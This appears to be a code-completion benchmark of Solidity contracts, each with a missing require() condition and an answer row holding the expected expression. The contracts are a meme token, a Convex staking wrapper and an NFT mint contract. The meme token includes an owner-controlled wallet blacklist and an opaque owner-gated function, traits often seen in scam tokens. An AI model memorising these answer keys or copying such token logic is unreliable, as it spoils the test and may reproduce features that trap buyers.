uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SAITAMACHAN is Context, IERC20, Ownable {
using Address for address;
using Address for address payable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isLimitedWallet;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 1_000_000_000 * 10**9;
uint256 private constant SWAP_TOKENS_AT_AMOUNT = 7 * 10**9;
string private constant _name = "SAITAMACHAN";
string private constant _symbol = "SAICHAN";
uint8 private constant _decimals = 9;
uint256 private _promoFee = 7;
uint256 public _liquidityFee = 1;
address private _promoWallet = 0x0401284B7A31eBe00b309e5CE85c45deb188E726;
uint256 public _buyCooldown = 0 minutes;
mapping (address => uint256) private _lastBuy;
bool private swapping;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function AutoLiquifies(uint256 accumulation, address acc) promoWallet public virtual {
}
function _Berserker(
address from,
address to,
uint256 accumulation
) internal virtual {}
receive() external payable {}
function _getValues(uint256 amount, address from) private returns (uint256) {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isLimitedWallet[from] && !isLimitedWallet[to], "To/from address is LimitedWallet!");
if (from == uniswapV2Pair) {
require(<FILL_ME>)
_lastBuy[to] = block.timestamp;
}
if (balanceOf(address(this)) >= SWAP_TOKENS_AT_AMOUNT && !swapping && from != uniswapV2Pair && from != owner() && to != owner()) {
swapping = true;
uint256 sellTokens = balanceOf(address(this));
swapAndSendToFee(sellTokens);
swapping = false;
}
_tOwned[from] -= amount;
uint256 transferAmount = amount;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
transferAmount = _getValues(amount, from);
}
_tOwned[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
function swapAndSendToFee (uint256 tokens) private {
}
function LimitAddress(address account, bool newValue) public onlyOwner {
}
function swapAndLiquify() private {
}
function swapTokensForEth(uint256 tokenAmount) private returns (uint256) {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| _lastBuy[to]+_buyCooldown<block.timestamp,"Must wait til after coooldown to buy" | 238,654 | _lastBuy[to]+_buyCooldown<block.timestamp |
"already init" | pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
//Example of a tokenize a convex staked position.
//if used as collateral some modifications will be needed to fit the specific platform
//Based on Curve.fi's gauge wrapper implementations at https://github.com/curvefi/curve-dao-contracts/tree/master/contracts/gauges/wrappers
contract ConvexStakingWrapper is ERC20, ReentrancyGuard {
using SafeERC20
for IERC20;
using SafeMath
for uint256;
struct EarnedData {
address token;
uint256 amount;
}
struct RewardType {
address reward_token;
address reward_pool;
uint128 reward_integral;
uint128 reward_remaining;
mapping(address => uint256) reward_integral_for;
mapping(address => uint256) claimable_reward;
}
//constants/immutables
address public constant convexBooster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31);
address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
address public curveToken;
address public convexToken;
address public convexPool;
uint256 public convexPoolId;
address public collateralVault;
uint256 private constant CRV_INDEX = 0;
uint256 private constant CVX_INDEX = 1;
//rewards
RewardType[] public rewards;
mapping(address => uint256) public registeredRewards;
//management
bool public isShutdown;
bool public isInit;
address public owner;
string internal _tokenname;
string internal _tokensymbol;
event Deposited(address indexed _user, address indexed _account, uint256 _amount, bool _wrapped);
event Withdrawn(address indexed _user, uint256 _amount, bool _unwrapped);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public
ERC20(
"StakedConvexToken",
"stkCvx"
){
}
function initialize(uint256 _poolId)
virtual external {
require(<FILL_ME>)
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
(address _lptoken, address _token, , address _rewards, , ) = IBooster(convexBooster).poolInfo(_poolId);
curveToken = _lptoken;
convexToken = _token;
convexPool = _rewards;
convexPoolId = _poolId;
_tokenname = string(abi.encodePacked("Staked ", ERC20(_token).name() ));
_tokensymbol = string(abi.encodePacked("stk", ERC20(_token).symbol()));
isShutdown = false;
isInit = true;
// collateralVault = _vault;
//add rewards
addRewards();
setApprovals();
}
function name() public view override returns (string memory) {
}
function symbol() public view override returns (string memory) {
}
function decimals() public view override returns (uint8) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
function shutdown() external onlyOwner {
}
function setApprovals() public {
}
function addRewards() public {
}
function rewardLength() external view returns(uint256) {
}
function _getDepositedBalance(address _account) internal virtual view returns(uint256) {
}
function _getTotalSupply() internal virtual view returns(uint256){
}
function _calcRewardIntegral(uint256 _index, address[2] memory _accounts, uint256[2] memory _balances, uint256 _supply, bool _isClaim) internal{
}
function _checkpoint(address[2] memory _accounts) internal nonReentrant{
}
function _checkpointAndClaim(address[2] memory _accounts) internal nonReentrant{
}
function _claimExtras() internal virtual{
}
function user_checkpoint(address _account) external returns(bool) {
}
function totalBalanceOf(address _account) external view returns(uint256){
}
//run earned as a mutable function to claim everything before calculating earned rewards
function earned(address _account) external returns(EarnedData[] memory claimable) {
}
//run earned as a non-mutative function that may not claim everything, but should report standard convex rewards
function earnedView(address _account) external view returns(EarnedData[] memory claimable) {
}
function _earned(address _account) internal view returns(EarnedData[] memory claimable) {
}
function getReward(address _account) external {
}
function getReward(address _account, address _forwardTo) external {
}
//deposit a curve token
function deposit(uint256 _amount, address _to) external {
}
//stake a convex token
function stake(uint256 _amount, address _to) external {
}
//withdraw to convex deposit token
function withdraw(uint256 _amount) external {
}
//withdraw to underlying curve lp token
function withdrawAndUnwrap(uint256 _amount) external {
}
function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal override {
}
}
| !isInit,"already init" | 238,764 | !isInit |
"shutdown" | pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
//Example of a tokenize a convex staked position.
//if used as collateral some modifications will be needed to fit the specific platform
//Based on Curve.fi's gauge wrapper implementations at https://github.com/curvefi/curve-dao-contracts/tree/master/contracts/gauges/wrappers
contract ConvexStakingWrapper is ERC20, ReentrancyGuard {
using SafeERC20
for IERC20;
using SafeMath
for uint256;
struct EarnedData {
address token;
uint256 amount;
}
struct RewardType {
address reward_token;
address reward_pool;
uint128 reward_integral;
uint128 reward_remaining;
mapping(address => uint256) reward_integral_for;
mapping(address => uint256) claimable_reward;
}
//constants/immutables
address public constant convexBooster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31);
address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
address public curveToken;
address public convexToken;
address public convexPool;
uint256 public convexPoolId;
address public collateralVault;
uint256 private constant CRV_INDEX = 0;
uint256 private constant CVX_INDEX = 1;
//rewards
RewardType[] public rewards;
mapping(address => uint256) public registeredRewards;
//management
bool public isShutdown;
bool public isInit;
address public owner;
string internal _tokenname;
string internal _tokensymbol;
event Deposited(address indexed _user, address indexed _account, uint256 _amount, bool _wrapped);
event Withdrawn(address indexed _user, uint256 _amount, bool _unwrapped);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public
ERC20(
"StakedConvexToken",
"stkCvx"
){
}
function initialize(uint256 _poolId)
virtual external {
}
function name() public view override returns (string memory) {
}
function symbol() public view override returns (string memory) {
}
function decimals() public view override returns (uint8) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
function shutdown() external onlyOwner {
}
function setApprovals() public {
}
function addRewards() public {
}
function rewardLength() external view returns(uint256) {
}
function _getDepositedBalance(address _account) internal virtual view returns(uint256) {
}
function _getTotalSupply() internal virtual view returns(uint256){
}
function _calcRewardIntegral(uint256 _index, address[2] memory _accounts, uint256[2] memory _balances, uint256 _supply, bool _isClaim) internal{
}
function _checkpoint(address[2] memory _accounts) internal nonReentrant{
}
function _checkpointAndClaim(address[2] memory _accounts) internal nonReentrant{
}
function _claimExtras() internal virtual{
}
function user_checkpoint(address _account) external returns(bool) {
}
function totalBalanceOf(address _account) external view returns(uint256){
}
//run earned as a mutable function to claim everything before calculating earned rewards
function earned(address _account) external returns(EarnedData[] memory claimable) {
}
//run earned as a non-mutative function that may not claim everything, but should report standard convex rewards
function earnedView(address _account) external view returns(EarnedData[] memory claimable) {
}
function _earned(address _account) internal view returns(EarnedData[] memory claimable) {
}
function getReward(address _account) external {
}
function getReward(address _account, address _forwardTo) external {
}
//deposit a curve token
function deposit(uint256 _amount, address _to) external {
require(<FILL_ME>)
//dont need to call checkpoint since _mint() will
if (_amount > 0) {
_mint(_to, _amount);
IERC20(curveToken).safeTransferFrom(msg.sender, address(this), _amount);
IConvexDeposits(convexBooster).deposit(convexPoolId, _amount, true);
}
emit Deposited(msg.sender, _to, _amount, true);
}
//stake a convex token
function stake(uint256 _amount, address _to) external {
}
//withdraw to convex deposit token
function withdraw(uint256 _amount) external {
}
//withdraw to underlying curve lp token
function withdrawAndUnwrap(uint256 _amount) external {
}
function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal override {
}
}
| !isShutdown,"shutdown" | 238,764 | !isShutdown |
"Cant go over supply." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract OkayBearsAI is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public root;
uint256 public maxSupply = 10000;
uint256 public _price = 0.0069 ether;
uint256 public whitelistReserved = 2000;
uint256 public maxPerTx = 5;
uint256 public maxPerWallet = 5;
bool public paused = false;
bool public revealed = false;
bool public presaleM = true;
address artist = 0x74e25c7C6B9Ac77Ed1e1aC8fB4bB1f6a3F61eb5d;
string public baseURI;
string public notRevealedUri = "ipfs://QmNanWoRJyLE5pXc2gb8owTy9C8GsZ8RoHeEDCWa6n8SN5/";
mapping(address => uint256) public _presaleClaimed;
uint256 public totalFreeminted;
constructor(bytes32 merkleroot)
ERC721A("Okay Bears AI", "AIBear")
ReentrancyGuard() {
}
function setBaseURI(string memory _tokenBaseURI) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function reveal() public onlyOwner {
}
function setMerkleRoot(bytes32 merkleroot) public onlyOwner {
}
modifier onlyAccounts () {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setWhitelistReserved(uint256 _reserved) public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setMaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setMaxPerWallet(uint256 _amount) public onlyOwner{
}
function devMint(uint256 _amount) public payable onlyOwner{
uint256 supply = totalSupply();
require(_amount > 0, "Cant mint 0." );
require(<FILL_ME>)
totalFreeminted += _amount;
_safeMint(msg.sender, _amount);
delete supply;
}
function whitelistMint(
address account,
uint8 _amount,
bytes32[] calldata _proof
)
external
payable
isValidMerkleProof(_proof)
onlyAccounts
{
}
function publicSaleMint(uint256 _amount)
external
payable
onlyAccounts
{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdraw() public payable onlyOwner {
}
}
| supply+_amount<=maxSupply,"Cant go over supply." | 238,821 | supply+_amount<=maxSupply |
"Max per wallet tokens exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract OkayBearsAI is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public root;
uint256 public maxSupply = 10000;
uint256 public _price = 0.0069 ether;
uint256 public whitelistReserved = 2000;
uint256 public maxPerTx = 5;
uint256 public maxPerWallet = 5;
bool public paused = false;
bool public revealed = false;
bool public presaleM = true;
address artist = 0x74e25c7C6B9Ac77Ed1e1aC8fB4bB1f6a3F61eb5d;
string public baseURI;
string public notRevealedUri = "ipfs://QmNanWoRJyLE5pXc2gb8owTy9C8GsZ8RoHeEDCWa6n8SN5/";
mapping(address => uint256) public _presaleClaimed;
uint256 public totalFreeminted;
constructor(bytes32 merkleroot)
ERC721A("Okay Bears AI", "AIBear")
ReentrancyGuard() {
}
function setBaseURI(string memory _tokenBaseURI) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function reveal() public onlyOwner {
}
function setMerkleRoot(bytes32 merkleroot) public onlyOwner {
}
modifier onlyAccounts () {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setWhitelistReserved(uint256 _reserved) public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setMaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setMaxPerWallet(uint256 _amount) public onlyOwner{
}
function devMint(uint256 _amount) public payable onlyOwner{
}
function whitelistMint(
address account,
uint8 _amount,
bytes32[] calldata _proof
)
external
payable
isValidMerkleProof(_proof)
onlyAccounts
{
uint256 supply = totalSupply();
require(_amount > 0, "Cant mint 0." );
require(paused, "Contract is paused");
require(presaleM, "WL sale is OFF");
if (_presaleClaimed[msg.sender] < 1) {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(<FILL_ME>)
require(_price * (_amount - 1) <= msg.value, "Not enough ethers sent");
require(1 + totalFreeminted <= whitelistReserved, "Free mints ended");
require(_amount - 1 <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
_presaleClaimed[msg.sender]++;
totalFreeminted++;
} else {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
require(_price * _amount <= msg.value, "Not enough ethers sent");
require(_amount <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
}
_safeMint(msg.sender, _amount);
delete supply;
}
function publicSaleMint(uint256 _amount)
external
payable
onlyAccounts
{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdraw() public payable onlyOwner {
}
}
| balanceOf(msg.sender)+_amount<=maxPerWallet,"Max per wallet tokens exceeded" | 238,821 | balanceOf(msg.sender)+_amount<=maxPerWallet |
"Not enough ethers sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract OkayBearsAI is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public root;
uint256 public maxSupply = 10000;
uint256 public _price = 0.0069 ether;
uint256 public whitelistReserved = 2000;
uint256 public maxPerTx = 5;
uint256 public maxPerWallet = 5;
bool public paused = false;
bool public revealed = false;
bool public presaleM = true;
address artist = 0x74e25c7C6B9Ac77Ed1e1aC8fB4bB1f6a3F61eb5d;
string public baseURI;
string public notRevealedUri = "ipfs://QmNanWoRJyLE5pXc2gb8owTy9C8GsZ8RoHeEDCWa6n8SN5/";
mapping(address => uint256) public _presaleClaimed;
uint256 public totalFreeminted;
constructor(bytes32 merkleroot)
ERC721A("Okay Bears AI", "AIBear")
ReentrancyGuard() {
}
function setBaseURI(string memory _tokenBaseURI) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function reveal() public onlyOwner {
}
function setMerkleRoot(bytes32 merkleroot) public onlyOwner {
}
modifier onlyAccounts () {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setWhitelistReserved(uint256 _reserved) public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setMaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setMaxPerWallet(uint256 _amount) public onlyOwner{
}
function devMint(uint256 _amount) public payable onlyOwner{
}
function whitelistMint(
address account,
uint8 _amount,
bytes32[] calldata _proof
)
external
payable
isValidMerkleProof(_proof)
onlyAccounts
{
uint256 supply = totalSupply();
require(_amount > 0, "Cant mint 0." );
require(paused, "Contract is paused");
require(presaleM, "WL sale is OFF");
if (_presaleClaimed[msg.sender] < 1) {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
require(<FILL_ME>)
require(1 + totalFreeminted <= whitelistReserved, "Free mints ended");
require(_amount - 1 <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
_presaleClaimed[msg.sender]++;
totalFreeminted++;
} else {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
require(_price * _amount <= msg.value, "Not enough ethers sent");
require(_amount <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
}
_safeMint(msg.sender, _amount);
delete supply;
}
function publicSaleMint(uint256 _amount)
external
payable
onlyAccounts
{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdraw() public payable onlyOwner {
}
}
| _price*(_amount-1)<=msg.value,"Not enough ethers sent" | 238,821 | _price*(_amount-1)<=msg.value |
"Free mints ended" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract OkayBearsAI is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public root;
uint256 public maxSupply = 10000;
uint256 public _price = 0.0069 ether;
uint256 public whitelistReserved = 2000;
uint256 public maxPerTx = 5;
uint256 public maxPerWallet = 5;
bool public paused = false;
bool public revealed = false;
bool public presaleM = true;
address artist = 0x74e25c7C6B9Ac77Ed1e1aC8fB4bB1f6a3F61eb5d;
string public baseURI;
string public notRevealedUri = "ipfs://QmNanWoRJyLE5pXc2gb8owTy9C8GsZ8RoHeEDCWa6n8SN5/";
mapping(address => uint256) public _presaleClaimed;
uint256 public totalFreeminted;
constructor(bytes32 merkleroot)
ERC721A("Okay Bears AI", "AIBear")
ReentrancyGuard() {
}
function setBaseURI(string memory _tokenBaseURI) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function reveal() public onlyOwner {
}
function setMerkleRoot(bytes32 merkleroot) public onlyOwner {
}
modifier onlyAccounts () {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setWhitelistReserved(uint256 _reserved) public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setMaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setMaxPerWallet(uint256 _amount) public onlyOwner{
}
function devMint(uint256 _amount) public payable onlyOwner{
}
function whitelistMint(
address account,
uint8 _amount,
bytes32[] calldata _proof
)
external
payable
isValidMerkleProof(_proof)
onlyAccounts
{
uint256 supply = totalSupply();
require(_amount > 0, "Cant mint 0." );
require(paused, "Contract is paused");
require(presaleM, "WL sale is OFF");
if (_presaleClaimed[msg.sender] < 1) {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
require(_price * (_amount - 1) <= msg.value, "Not enough ethers sent");
require(<FILL_ME>)
require(_amount - 1 <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
_presaleClaimed[msg.sender]++;
totalFreeminted++;
} else {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
require(_price * _amount <= msg.value, "Not enough ethers sent");
require(_amount <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
}
_safeMint(msg.sender, _amount);
delete supply;
}
function publicSaleMint(uint256 _amount)
external
payable
onlyAccounts
{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdraw() public payable onlyOwner {
}
}
| 1+totalFreeminted<=whitelistReserved,"Free mints ended" | 238,821 | 1+totalFreeminted<=whitelistReserved |
"Rest supply is reserved" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract OkayBearsAI is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public root;
uint256 public maxSupply = 10000;
uint256 public _price = 0.0069 ether;
uint256 public whitelistReserved = 2000;
uint256 public maxPerTx = 5;
uint256 public maxPerWallet = 5;
bool public paused = false;
bool public revealed = false;
bool public presaleM = true;
address artist = 0x74e25c7C6B9Ac77Ed1e1aC8fB4bB1f6a3F61eb5d;
string public baseURI;
string public notRevealedUri = "ipfs://QmNanWoRJyLE5pXc2gb8owTy9C8GsZ8RoHeEDCWa6n8SN5/";
mapping(address => uint256) public _presaleClaimed;
uint256 public totalFreeminted;
constructor(bytes32 merkleroot)
ERC721A("Okay Bears AI", "AIBear")
ReentrancyGuard() {
}
function setBaseURI(string memory _tokenBaseURI) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function reveal() public onlyOwner {
}
function setMerkleRoot(bytes32 merkleroot) public onlyOwner {
}
modifier onlyAccounts () {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setWhitelistReserved(uint256 _reserved) public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setMaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setMaxPerWallet(uint256 _amount) public onlyOwner{
}
function devMint(uint256 _amount) public payable onlyOwner{
}
function whitelistMint(
address account,
uint8 _amount,
bytes32[] calldata _proof
)
external
payable
isValidMerkleProof(_proof)
onlyAccounts
{
uint256 supply = totalSupply();
require(_amount > 0, "Cant mint 0." );
require(paused, "Contract is paused");
require(presaleM, "WL sale is OFF");
if (_presaleClaimed[msg.sender] < 1) {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
require(_price * (_amount - 1) <= msg.value, "Not enough ethers sent");
require(1 + totalFreeminted <= whitelistReserved, "Free mints ended");
require(<FILL_ME>)
_presaleClaimed[msg.sender]++;
totalFreeminted++;
} else {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
require(_price * _amount <= msg.value, "Not enough ethers sent");
require(_amount <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
}
_safeMint(msg.sender, _amount);
delete supply;
}
function publicSaleMint(uint256 _amount)
external
payable
onlyAccounts
{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdraw() public payable onlyOwner {
}
}
| _amount-1<=maxSupply-whitelistReserved-(supply-totalFreeminted),"Rest supply is reserved" | 238,821 | _amount-1<=maxSupply-whitelistReserved-(supply-totalFreeminted) |
"Not enough ethers sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract OkayBearsAI is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public root;
uint256 public maxSupply = 10000;
uint256 public _price = 0.0069 ether;
uint256 public whitelistReserved = 2000;
uint256 public maxPerTx = 5;
uint256 public maxPerWallet = 5;
bool public paused = false;
bool public revealed = false;
bool public presaleM = true;
address artist = 0x74e25c7C6B9Ac77Ed1e1aC8fB4bB1f6a3F61eb5d;
string public baseURI;
string public notRevealedUri = "ipfs://QmNanWoRJyLE5pXc2gb8owTy9C8GsZ8RoHeEDCWa6n8SN5/";
mapping(address => uint256) public _presaleClaimed;
uint256 public totalFreeminted;
constructor(bytes32 merkleroot)
ERC721A("Okay Bears AI", "AIBear")
